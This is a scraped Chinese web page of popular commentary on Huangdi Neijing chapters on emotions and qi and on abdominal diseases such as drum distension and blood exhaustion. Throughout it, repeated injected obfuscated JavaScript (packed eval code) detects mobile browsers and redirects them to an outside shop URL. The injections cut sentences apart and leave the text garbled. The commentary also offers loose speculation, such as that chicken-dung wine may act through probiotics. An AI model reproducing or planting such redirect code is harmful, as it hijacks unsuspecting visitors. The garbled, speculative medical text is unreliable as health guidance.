当我们遭遇突如其来的惊吓，仿佛平静湖面被巨石激起千层浪，“惊则气乱”这一古老智慧便悄然显现。这里的“气”，我们不妨将其想象为身体内流淌的生命能量，它细腻而强大，既是构成万物的基础，也是推动生命活动不息的动力源泉。它穿梭于经络之间，维系着脏腑的和谐共舞，更与我们的精神活动紧密相连，共绘生命的多彩画卷。 受惊之际，这股生命能量仿佛遭遇了突如其来的风暴，原本的和谐流动瞬间被打破，气机逆乱，如同狂风中的树木，摇摆不定。而心，作为五脏六腑之君主，自然首当其冲，成为这场风暴的中心。心神受扰，如同皇宫内的灯火摇曳，不再宁静安详，于是心悸动不安，如同鼓点急促，难以平息；神志恍惚，如同云雾遮月，清明不再；疑虑丛生，如同林间迷雾，让人难以辨清方向。 这“气乱”的状态，实则是身体在面对外界威胁时，启动的一种自我保护机制——应激反应。它调动全身资源，准备应对可能的危险，但同时也打破了日常的生理与心理平衡。正如古语所云：“水能载舟，亦能覆舟。”适量的应激反应能激发我们的潜能，但过度的惊吓与长期的“气乱”状态，则会对身心造成损害。 因此，中医倡导“养神为先”，通过调节情绪、宁心除烦、调和气血等方法，恢复身体的内在平衡，让心神得以安宁，气机重新归于和谐流畅。在快节奏的现代生活中，我们更应关注自己的内心世界，学会在纷扰中寻得一片宁静，让“心主神明”的智慧引领我们走向更加健康、和谐的生活。 从心理学的细腻笔触下，我们不难发现，惊吓这一情绪浪潮，犹如古老森林中的猛兽突袭，能在瞬间激活人类内心深处那份“战斗或逃跑”的原始本能。这不仅仅是一种生理层面的应急反应，更是心理机制在面对潜在威胁时的一种高效动员， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428740|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是历经千万年进化所沉淀下来的生存智慧。 在现代社会的安宁表象之下，虽然物理性的危险已大幅减少，但心理层面的惊吓却如同暗流般涌动不息。它们或许源自职场的压力、人际关系的微妙、或是信息过载带来的焦虑，这些非生理性的威胁，虽不直接触及肉体，却足以触动心灵深处那根敏感的神经，引发一系列强烈的生理共鸣。 心跳的骤然加速，如同战鼓擂动，是身体在无声地宣告：“准备战斗！”；呼吸的急促加深，则是肺部在渴求更多的氧气，为即将到来的挑战储备能量；而思绪的纷乱，则是大脑在快速评估、筛选信息，试图找到最合适的应对之策。这一系列生理反应，正是心理学上所谓的“气乱”，它揭示了心理与生理之间那微妙而深刻的联系。 值得注意的是，虽然这种“气乱”状态在短期内可能帮助我们应对危机，但长期而言，过度的心理惊吓和持续的生理应激反应，却可能对身心健康造成不利影响。因此，学会管理情绪、调整心态、寻求外部支持，成为了我们在现代社会中保持心理健康的重要课题。 综上所述，惊吓作为一种强烈的情绪刺激，其背后蕴含着人类古老的生存智慧。在现代社会，我们更应关注心理健康，学会在心理惊吓面前保持冷静与理智，以更加平和的心态去面对生活中的挑战与变化。 第24章 （12）过劳则气耗损 黄帝说：过劳则气耗损，这是什么原因呢？ 岐伯说：首先，从中医理论的角度来看，您所描述的“劳累过度就会气动喘息，出汗过多”确实与中医中的“气耗”概念相吻合。在中医里，“气”被视为构成人体和维持生命活动的最基本物质，具有推动、温煦、防御、固摄和气化等多种功能。 让我们以一种既科学又不失趣味的方式来探讨这个问题。当我们谈论“气”在中医理论中的角色时，确实会涉及一些较为抽象但深具哲理的概念。“宗气”和“卫气”，在中医里扮演着举足轻重的角色，它们与我们的生理机能紧密相连。 想象一下，我们的身体就像一座精致的宫殿，而宗气就像是宫殿中的中央供暖系统，它不仅温暖着整个空间，还驱动着宫殿内的各种机械运作——这里指的是我们的心肺功能。当宫殿（身体）过度劳累，过度消耗能源时，中央供暖系统（宗气）的供应就会显得捉襟见肘，导致宫殿内的温度下降，机械运转不畅。因此，我们就会感到气喘吁吁，需要通过更频繁的呼吸来“加柴火”，也就是增加宗气的供给，以维持宫殿（身体）的正常运作。 当然，这只是个形象的比喻。在现实中，宗气不足导致的气动喘息，确实是因为劳累过度使得心肺功能受到了一定程度的影响。心肺作为人体的发动机，需要充足的氧气和能量来维持高效运转。当宗气不足时，心肺的工作效率就会下降，从而引发喘息等呼吸系统的应激反应。 至于卫气，它更像是宫殿外围的守卫，负责抵御外邪入侵，同时调节宫殿的门户（腠理）开关，保持宫殿内的环境稳定。当卫气虚弱时，门户失守，外邪就容易趁虚而入，同时也会导致汗液等体液的无谓流失，即您所说的“汗出过多就会使外气越”。 在探讨出汗过多与卫气之间那微妙而深刻的联系时，我们不妨先想象一下古时候城墙上的守卫与城门的开关机制。卫气，正如那些忠诚勇敢的守卫，时刻守护着我们身体的“城墙”——肌表，确保外邪无法轻易入侵。同时，它还像是一个精明的指挥官，调控着城门（即腠理）的开合，让汗液等体液在适当的时候排出，以维持体内的环境平衡。 然而，当这位指挥官——卫气变得虚弱时，情况就有些不妙了。城门（腠理）可能会因为失去了有效的管控而变得松弛不固，就像是被风吹日晒多年的城门，轻轻一推就能打开。这样一来，汗液等体液就容易在不适宜的时机大量外泄，形成了我们所说的“汗出过多就会使外气越”的现象。这里的“外气越”，其实可以理解为卫气因过度消耗而显得不足，无法再有效地执行其护卫和调控职能。 从科学的角度来看，卫气的虚弱可能与多种因素有关，包括长期的劳累、营养不良、疾病侵袭等。这些因素都可能导致人体的免疫系统功能下降，从而使得卫气变得不足。而汗液的大量外泄，不仅会导致体液的流失和电解质的紊乱，还可能进一步削弱人体的抵抗力，使得身体更容易受到外邪的侵袭。 因此，对于出汗过多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428741|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来说，及时调理身体、增强卫气的功能就显得尤为重要。这可以通过合理的饮食、适当的运动、充足的休息以及必要的药物调理来实现。同时，也要注意避免过度劳累和情绪波动等可能加重卫气虚弱的不利因素。只有这样，我们才能保持身体的健康平衡，让卫气这位忠诚的守卫继续为我们保驾护航。 想象一下，你是一位勇敢的探险家，在无尽的荒野中追寻着未知的宝藏。然而，每当你迈出一步，都需要消耗一定的体力与精力，这就是“气”的消耗。如果你过于急进，不顾及自身的承受能力，那么体力与精力就会迅速下降，直至筋疲力尽，这便是“气耗”的直观体现。 在中医的语境下，宗气与卫气作为内外之气的重要组成部分，它们的过度耗散同样会带来一系列连锁反应。宗气不足，心肺功能受损，喘息、气短便如影随形；卫气虚弱，肌表不固，汗液易泄，外邪趁虚而入，久而久之，免疫力下降、易感冒、乏力等气虚表现便接踵而至。 从科学的角度来看，“气耗”并非虚无缥缈的概念，它与人体的生理机能、免疫系统、能量代谢等多个方面密切相关。长期的气耗状态会导致机体各系统之间的协调失衡，进而影响整体健康状况。 针对这种情况，中医调理通常会从补气固表、调理肺脾等角度入手，通过药物、食疗、针灸等多种方法，帮助患者恢复气血平衡，增强体质。同时，也建议患者注意劳逸结合，避免过度劳累，保持良好的生活习惯和心态，以预防气耗的发生。 第24章 （13）思虑过多则气结 黄帝说思虑则气郁结。这是什么原因？ 岐伯说：在探讨“忧思过多就会使心气凝滞，精神偏滞不能畅行周身”这一传统中医理论时，我们首先要理解其背后的哲学与医学逻辑。中医强调“心主神明”，认为人的思维、情感活动均由心所主，而心气的顺畅与否直接影响到人的精神状态与身体健康。 关于“优思过多”这一话题，我们确实可以从多个维度来探讨。首先，从现代心理学的视角来看，它确实被归类为一种情绪压力，如同心灵的负重前行，让人在思维的迷宫中徘徊难出。 而中医的智慧，则为我们提供了另一番解读。想象一下，心脏不仅仅是泵血的机器，它还是我们情感的港湾，承载着喜怒哀乐。当“优思过多”，就像是在这片港湾里刮起了狂风巨浪，让原本平静的水面（即心气）变得波涛汹涌，乃至最终凝结成冰（心气凝滞）。这自然会影响到整个身体的气血循环，就如同河流被冰封，万物失去了生机与活力。 中医讲究“心主血脉”，心气是推动血液在脉管中顺畅流动的关键。一旦心气凝滞，就好比是河流的源头被堵，下游自然就会干涸。身体的各个部位得不到充足的血液滋养，代谢也会受到影响，长此以往，各种健康问题就可能接踵而至。 所以，无论是从现代心理学的角度，还是中医的哲学观出发，“优思过多”都是我们需要警惕并努力调节的情绪状态。学会放下过重的心理负担，保持一颗平和的心，让心气得以顺畅流通，才是我们追求身心健康的不二法门。 当我们深入探讨“精神偏滞不能畅行周身”这一现象时，不得不赞叹中医理论的精妙与深邃。这句话，简而言之，就是心气凝滞在精神上的直观反映，仿佛是一股无形的力量，束缚了思想的翅膀，让精神难以在广阔的天地间自由翱翔。 在中医的世界里，人的精神活动被视为气血滋养与流通的产物。气血，如同自然界的阳光雨露，滋养着万物生长，同样地，它们也滋养着我们的精神世界。当气血畅通无阻时，精神自然饱满、灵动，能够迅速响应外界的变化，保持敏锐的洞察力与创造力。 然而，一旦气血受阻，就像是大自然遭遇了干旱或洪涝，万物生长受阻，精神也会因此变得呆滞、不灵活。它不再能够自由地穿梭于身体的每一个角落，不再能够敏锐地感知外界的信息，更无法灵活地应对各种挑战与变化。这种精神上的“偏滞”，不仅会导致思维迟缓、记忆力减退等认知功能下降，还可能引发焦虑、抑郁等心理不适，严重影响我们的生活质量。 因此，中医强调“调畅气机”，即通过调理气血的运行，来恢复精神的自由流动与活力。这包括了针灸、推拿、中药等多种治疗手段，旨在疏通经络、调和气血、安神定志，使人的精神活动重新焕发生机与活力。同时，也提醒我们要保持积极乐观的心态，避免过度思虑与忧虑，以减轻对气血的损耗与阻碍，让精神得以在广阔的天空中自由翱翔。 “正气滞留而不能运行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428742|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，所以说是气结”“正气”一词，宛若人体内的守护神，它不仅是维持生命活动的基石，更是抵御外邪入侵的坚强防线。正气充足，则身体康健，百病不侵；正气不足或滞留，则功能受阻，疾病丛生。 正气滞留，就像是一条繁忙的街道突然遭遇了交通堵塞，所有的车辆（即气血）都无法顺畅通行。这种状态下，原本应该活跃在身体各处的正气变得迟缓而沉重，它们无法及时到达需要的地方去执行防御、温煦和推动气血运行等任务。随着时间的推移，这种滞留状态可能进一步加剧，导致气血在局部凝聚成块，形成所谓的“气结”。 气结，这是一个形象而生动的描述，它告诉我们气血在体内并非永远处于流动不息的状态，当它们受到某种因素的干扰而停滞不前时，就会形成这样的“结块”。这些结块不仅占据了原本应该畅通无阻的通道，还阻碍了其他气血的正常流通，从而影响到身体的整体功能。 从中医的角度来看，正气滞留和气结是许多疾病发生的根源之一。它们会导致脏腑功能失调、气血运行不畅等一系列病理变化，进而引发各种疾病。因此，中医在治疗疾病时，常常注重调理气血、疏通经络、恢复正气的正常流动与功能。 “正气滞留而不能运行，所以说是气结”这一中医理论，深刻地揭示了人体内部气血运行的奥秘与疾病发生的机理。它提醒我们，在日常生活中要注意保养身体、调畅气机、避免正气滞留与气结的发生，以维护身体的健康与平衡。 第25章 腹中论 在探讨《腹中论》这一深邃的医学篇章时，我们仿佛穿越了时空的长廊，与古代医家的智慧进行了一场跨越千年的对话。此篇不仅是对鼓胀、血枯、伏梁、热中、消中、厥逆、热痛等复杂腹部疾病的系统性论述，更是中医理论体系中关于脏腑辨证、病因病机、治疗原则及禁忌的生动展现。 鼓胀一症，犹如鼓皮紧绷，内里却满盈难舒，多因肝脾肾功能失调，气血水液代谢障碍，积聚腹中而成。治疗需注重疏肝健脾，利水消肿，同时警惕过用峻猛攻伐之品，以免伤正。 血枯，顾名思义，乃血液枯竭之象，常见于妇人经水断绝，面色无华，多由肝肾不足，精血亏虚所致。调治当以滋补肝肾，养血填精为主，辅以调和气血，使血海充盈，月事得以恢复。 伏梁，其名形象，似梁木伏藏腹内，实为积聚病的一种，多因饮食不节，湿热内蕴，久而成积。治疗宜清热利湿，消积散结，并需注意饮食调养，避免复发。 热中与消中，二者虽名异而实相近，皆因胃热炽盛，消谷善饥，却形体渐瘦。治疗关键在于清胃泻火，养阴生津，同时需节制饮食，避免辛辣燥热之物。 厥逆，此症多表现为手足逆冷，甚则昏厥不省人事，其病机复杂，或与阳气暴脱、阴寒内盛、气血瘀阻等有关。治疗需急则治标，缓则治本，根据具体病情采用回阳救逆、温经散寒、活血化瘀等法。 热痛，泛指因热邪侵袭或脏腑郁热所致的疼痛，治疗当以清热泻火、通络止痛为法，同时需辨明热之所在，是实热还是虚热，以便精准施治。 在深入研读这篇关于腹中疾病的经典论述时，我们不难发现，它不仅详细剖析了多种腹部疾病的病因、病机与治疗方法，还巧妙地穿插了对古代方剂“鸡失澧”（这里我猜测可能是“鸡矢醴”的误写，一种古代治疗腹胀的方剂，以鸡粪为原料，经特殊处理后入药，虽听起来奇特，实则是中医“以脏补脏”、“以类治类”思想的体现）与“四乌贼骨一藘茹丸”（又名乌贼骨丸，主要用于治疗妇人血枯经闭、崩漏带下等症，体现了中医对妇科疾病的深刻理解和精准治疗）的介绍。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428743|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 关于“鸡失澧”（再次强调，应为“鸡矢醴”）这一方剂，它虽听起来令人咋舌，但在古代医学文献中确有记载，反映了古代医家勇于探索、不拘一格的医学精神。而“四乌贼骨一藘茹丸”，则是中医妇科方剂中的瑰宝，其组方精妙，疗效显着，至今仍被一些中医临床医师所应用。 此外，本篇还特别强调了妊娠与腹中疾患的鉴别方法，这是中医临床中极为重要的一环。因为孕妇在孕期可能会出现各种腹部不适，这些症状有时与某些腹部疾病相似，但治疗原则和用药禁忌却大相径庭。因此，准确鉴别妊娠与腹中疾患，对于保障母婴健康具有重要意义。 总的来说，本篇论述不仅是对腹中疾病的一次全面梳理，更是中医临床思维与方法的集中展现。它教会我们，在面对复杂多变的病情时，应灵活运用中医理论，结合患者实际情况，进行细致入微的辨证施治。同时，也提醒我们，对于传统医学中的方剂和疗法，应保持敬畏之心，既要继承其精华，又要勇于探索创新，以更好地服务于人类的健康事业。 第25章 （1）鼓胀病不容忽视！早期病症识别与科学治疗指南 在探讨岐伯所言的“鼓胀病”时，我们不得不穿越回古代医学的深邃殿堂，那里《黄帝内经》作为中医理论的瑰宝，记载着岐伯与黄帝之间关于生命、疾病与治疗的深刻对话。鼓胀病，这一古老病名，虽听起来颇为奇特，实则蕴含了中医对疾病形态与病机的独特认识。 帝问道：有一种心腹胀满黄的病，病人早上吃了饭，晚上就不能进食，这是什么病？ 岐伯回答说：鼓胀病多指以腹部胀大如鼓、皮色苍黄、脉络暴露为主要临床表现的一类病症。此病多由情志郁结、饮食不节、嗜酒过度、虫毒感染或黄疸、积聚日久不愈等因素所致。其病机复杂，常涉及肝、脾、肾三脏功能失调，气血水互结于腹中，以致腹部日渐胀大而成。 黄帝问那该怎么样去治疗呢？ 岐伯回答说：用“鸡矢醴”作为治疗之方，一剂见效，两剂病愈。 我们不禁要感叹古人智慧的博大精深与对自然万物的深刻洞察。首先，需要澄清的是，“鸡矢醴”并非字面意义上的鸡屎直接泡酒，而是经过特殊处理的鸡屎发酵液，这种古老的疗法在中医历史上确有其记载，体现了中医“以脏补脏”、“以类相治”的朴素思想。 从现代医学的角度来看，虽然“鸡矢醴”的具体成分及作用机制尚不完全明确，但我们可以推测其可能含有某些对特定疾病有治疗作用的活性成分，如益生菌、酶类或其他生物活性物质。这些成分或许能通过调节肠道菌群、促进消化吸收、增强免疫力等途径，对某些疾病产生治疗效果。 岐伯提出的“鸡矢醴”治疗方案，虽然听起来有些不可思议，但背后蕴含着中医对疾病治疗的独特理解和智慧。在尊重传统的同时，我们也应保持理性和科学的态度，不断探索和完善疾病治疗的新方法和新技术。 黄帝问这种病有时还会复发，是什么原因呢？ 岐伯接下来的这番话，简直是跨越千年的饮食健康小贴士，直击现代人生活方式的痛点啊！在这个快节奏的时代，我们往往容易忽视饮食的节制与平衡，殊不知这正是许多疾病反复发作的“幕后黑手”。 岐伯说：“饮食无节制”，就会继续发病。其实是在告诫我们，饮食不仅是满足口腹之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428744|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲那么简单，它直接关系到身体的健康与疾病的预防。当我们放纵自己的食欲，不加节制地摄入各种食物时，很容易造成脾胃功能的负担过重，进而影响到身体的整体代谢和免疫功能。这样一来，即使某些疾病在表面上看似已经痊愈，但内在的邪气（可以理解为体内的病理因素或不良状态）并未完全清除，一旦遇到合适的“土壤”（如不良的饮食习惯），就会再次滋生蔓延，导致疾病复发。 岐伯说：鼓胀病作为中医理论中的一种复杂病症，其复发与饮食无节制的关系尤为密切。因为鼓胀病多与脾胃功能失调、气血水互结有关，而饮食无节制正是导致脾胃功能受损、邪气内生的主要原因之一。所以，岐伯的这番话不仅是对鼓胀病患者的提醒，更是对所有追求健康生活的人的忠告。 在此，我们不妨借鉴岐伯的智慧，从日常饮食做起，注重营养均衡、适量摄入、定时定量。同时，还要避免暴饮暴食、偏食挑食等不良习惯，让身体在享受美食的同时也能保持健康的状态。这样一来，不仅能够有效预防鼓胀病等疾病的复发，还能提升整体的生活质量和幸福感。 第25章 （2）血枯病症深度解析：从诊断到康复的全面指南 在探讨“血枯”之症时，我们首先要回溯到中医理论的深厚土壤之中。岐伯，作为中医理论的重要奠基人之一，其言论往往蕴含着深厚的医学智慧与哲学思考。所谓“血枯”，在中医古籍中并非直接对应于现代医学的某一具体疾病名称，而是一个综合性的病理概念，用以描述由于多种原因导致的血液亏虚、滋养不足的状态。 黄帝问有一种胸胁胀满的病，妨碍饮食发病时，病人先闻到腥燥气味，口中吐清水，然后吐血，接着四肢逐渐发冷，头晕目眩，时常大小便出血，这叫什么病，是如何引发的？ 岐伯说：从中医的角度来看，“血枯”可能涉及多方面的因素，包括但不限于气血不足、脾胃虚弱、肝肾亏损等。这些原因会导致血液生成不足或消耗过多，进而影响到全身各脏腑器官的正常功能，表现为面色苍白、头晕目眩、心悸失眠、肢体麻木、月经量少甚至闭经等一系列症状。 关于“血枯”得病的原因，有几种情况在中医理论中有所涉及，并且它们能够合理解释为何会导致血液亏虚、滋养不足的状态，即我们所说的“血枯”。 首先，少年时期患过严重的失血症，这无疑是对身体血液储备的一次重大打击。中医认为，血液是滋养全身各脏腑器官的重要物质，失血过多会直接导致血液亏虚，进而影响身体的正常生理功能。 其次，内脏受损也是导致“血枯”的一个重要原因。内脏功能的健全与否直接关系到血液的生成与运行。如果内脏受损，特别是与血液生成密切相关的脏腑，如脾、肾等，那么血液的生成与运化就会受到影响，从而引发“血枯”。 再者，醉后行房事，这在中医看来是一种过度消耗肾气的行为。肾气是生命的根本，对于人体的生长发育、生殖繁衍以及血液的生成与运行都起着至关重要的作用。肾气耗竭，不仅会导致身体机能的下降，还会影响到血液的生成与滋养功能，进而引发“血枯”。 至于肝血损伤，肝主藏血，是调节人体血液运行的重要器官。如果肝血受到损伤，那么血液的储存与调节功能就会受到影响，导致血液无法有效地滋养全身各脏腑器官，从而引发“血枯”，表现为月经衰少甚至停经等症状。 血枯得病的原因多种多样，但归根结底都与血液的生成、运行与滋养功能受到损害有关。 黄帝问怎样治疗呢？要用什么方法使其恢复健康？ 岐伯说：以乌贼骨、虑茹为主材，辅以麻雀卵和鲍鱼汁的丸药配方，确实展现了中医独特的药材配伍与制剂智慧。首先，我们来逐一解析这份药方中的奥秘。 乌贼骨，中医称之为“海螵蛸”，具有收敛止血、涩精止带、止酸止痛、收湿敛疮等功效。它对于治疗因血虚或血热所致的出血症状有着良好的效果，同时也能够滋养肝肾，强筋健骨。 虑茹，可能指的是一种古代的药材名称，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428745|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现代中药典籍中不常见，但根据中医的命名习惯，它可能具有某种滋养或调和的功效。不过，在没有确切的现代对应药材之前，我们暂且理解为一种具有辅助疗效的中药材。 麻雀卵，作为动物药材，在中医中常被认为具有滋补强壮的作用，能够补益肾气，增强体质。这里与乌贼骨和虑茹相配伍，可能是为了增强整个方剂的滋补效果。 鲍鱼汁，则是一种高级食材的提取物，富含营养，中医认为其具有滋阴润燥、养血益精的功效。用它来送服丸药，不仅能增加药物的口感，还能起到协同增效的作用。 将这四者巧妙结合，制成如小豆大小的丸药，每次服五丸，饭前服用，正是利用了中医“药食同源”的理念，通过调整人体内部的阴阳平衡，达到补益胁肋和受损肝脏的目的。 对于当代中医治疗“血枯”之症，中医强调辨证施治，即根据患者的具体病情，采用补益气血、健脾和胃、滋养肝肾等方法进行调理。常用的中药如当归、黄芪、党参、熟地等，都是补血养血的佳品，能够有效改善血液亏虚的状况。同时，中医还注重调整患者的生活方式，如合理饮食、适度运动、保持良好心态等，以辅助治疗，促进康复。 “血枯”虽非现代医学中的具体疾病名称，但其在中医理论中却有着丰富的内涵和深刻的意义。通过中医的辨证施治，我们可以有效地缓解和改善这一病理状态，恢复人体的健康与平衡。 第25章 （3）【必看】伏梁病全面解析：病症详解＋最新治疗方法 在探讨“伏梁病”时，我们不得不回溯到中医古籍的深邃智慧之中。《黄帝内经》作为中医理论的奠基之作，其中便记载了岐伯与黄帝关于医学的诸多对话，而“伏梁病”正是这些古老医理中的一隅。 黄帝问有一种小腹坚硬盛满的病，按压时上下左右都有明显的根底，这是什么病，能够治疗吗？ 岐伯说：“伏梁”之名，形象地描绘了此病之特点——其病位深藏，犹如梁木伏藏而难以窥见。在中医理论中，伏梁病多指因秽浊之邪久伏肠间，导致气血凝滞，腹部出现包块，并可能伴有腹痛、腹泻或便秘等症状的病症。 按现在来看，此病名虽古，但其所描述的病理机制与现代医学中某些肠道疾病如肿瘤、慢性肠炎等有一定的相似性，当然，具体诊断还需结合现代医学手段。 岐伯作为中医理论的奠基人之一，他对伏梁病的认识无疑是基于长期的医疗实践和对人体生理病理的深刻洞察。他提出的关于伏梁病的论述，不仅是对当时医学知识的总结，更为后世中医对肠道疾病的诊断和治疗提供了宝贵的思路。 黄帝问伏梁病是怎么得的呢？ 岐伯说：小腹部包裹着大量的脓血，而脓血位于肠胃之外，这种病不容易治愈”。 黄帝问为什么会这样儿？ 岐伯回答说：首先，我们要明确的是，关于“少腹下部”与“上部”（即胃脘部）“医生用力按摩会导致脓血移动并引发不同症状”的情况。 在中医理论中，少腹下部（小腹和阴部区域）与人体多条经络和脏腑相连，是气血运行的重要部位。而胃脘部则是胃的所在位置，与脾胃功能密切相关。当这两个部位出现病变时，可能会影响到全身的气血运行和脏腑功能。 用力按摩会导致脓血移动”，这实际上是在强调在治疗过程中需要谨慎操作，避免不当的手法加重病情或引发新的病变。在中医治疗中，按摩（或称推拿）是一种常用的治疗手段，但它需要根据患者的具体病情和体质特点来选择合适的手法和力度。如果盲目用力或操作不当，确实有可能造成不良后果。 岐伯说：痈属于慢性病很难治疗”以及“病在脐以上的是危重的逆症，在脐以下的则是预后较好的顺症”的说法，这体现了中医对疾病预后的一种判断方法。痈作为一种化脓性感染疾病，其治疗确实需要时间和耐心。而病位的高低与病情的轻重之间确实存在一定的关联性。 在中医理论中，并没有直接对应现代医学中“脓血”这一具体病理产物的明确术语。但我们可以从岐伯的描述中，感受到他对一种腹部复杂病症的深刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428746|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识。这种病症可能涉及到了气血的凝滞、脏腑功能的失调以及邪毒的壅聚等多个方面。 如果我们将这种描述与现代医学相结合，那么“小腹部包裹着大量的脓血”可能指的是腹腔内存在的一种化脓性感染或炎症，这些脓血并非直接来源于肠胃，而是可能由其他脏器或组织感染所致。这种病症的治疗确实具有挑战性，因为病因复杂、病情可能严重，且治疗过程需要综合考虑多个因素。 在中医的治疗体系中，针对这类病症，可能会采用清热解毒、活血化瘀、排脓散结等治疗方法，旨在调和气血、恢复脏腑功能、清除体内邪毒。同时，也会根据患者的具体病情和体质特点，进行个性化的辨证施治。 当然，在现代医学的背景下，对于这类病症的治疗，我们通常会结合影像学检查、实验室检查等多种手段来明确诊断，并根据病情严重程度和病原体类型等因素，制定综合的治疗方案。这可能包括使用抗生素控制感染、进行手术清除病灶、支持治疗等多种手段。 综上所述，岐伯的描述虽然简洁而富有哲理，但当我们将其与现代医学相结合时，可以发现它所描述的病症在现代医学中也有着相应的诊断和治疗方法。无论是中医还是西医，对于这类复杂病症的治疗都需要高度的专业知识和严谨的态度。 第25章 （5）全面解析厥逆病：典型症状与精准诊察方法 在探讨岐伯所言的“厥逆”之症时，我们首先要穿越回古代中医的浩瀚典籍之中，因为岐伯作为中医理论的奠基人之一，其言论往往蕴含着深厚的医学智慧与哲学思想。 黄帝说有人出现膺肿、颈痛，胸闷，腹胀，这是什么病？是什么原因引起的？ 岐伯说：“厥逆”，在中医古籍中频繁出现，它并非单指某一种具体的疾病，而是一个症状描述，涉及到了气血运行不畅、阴阳失调的复杂病理机制。简单来说，“厥”有逆乱、晕厥之意，“逆”则指方向相反，气血运行不循常道。因此，“厥逆”大致可以理解为由于体内气血逆乱、运行受阻，导致身体出现的一系列症状，包括但不限于手足厥冷、神志不清、呼吸困难乃至晕厥等。 即当人体正气不足，邪气趁机入侵，或脏腑功能失调，气血运行失常时，便可能引发厥逆。这种病症的治疗，需根据患者的具体症状、体质及病因病机，采用辨证施治的方法，调和阴阳，疏通气血，以达到扶正祛邪、恢复健康的目的。 在现代医学视角下，虽然“厥逆”并非一个直接对应的疾病名称，但我们可以将其理解为包括休克、晕厥、心脑血管疾病急性发作等多种可能伴有气血逆乱症状的疾病的总称。 黄帝问：该怎样治疗呢？ 岐伯说：“厥逆”若以灸法治之则失音，以针法治之则发狂。 这其实是岐伯在强调治疗时机的重要性以及治疗方法需与病症本质相契合的原则。在中医理论中，灸法通常用于温通经络、散寒除湿，而针法则侧重于调和气血、疏通经络。然而，对于“厥逆”这种涉及气血逆乱、阴阳失调的复杂病症，若治疗时机不当或方法选择不当，确实有可能出现不良反应。 他进一步指出，必须等到“阴阳之气上下交合”，即体内气血、阴阳恢复平衡状态时，方可进行治疗。 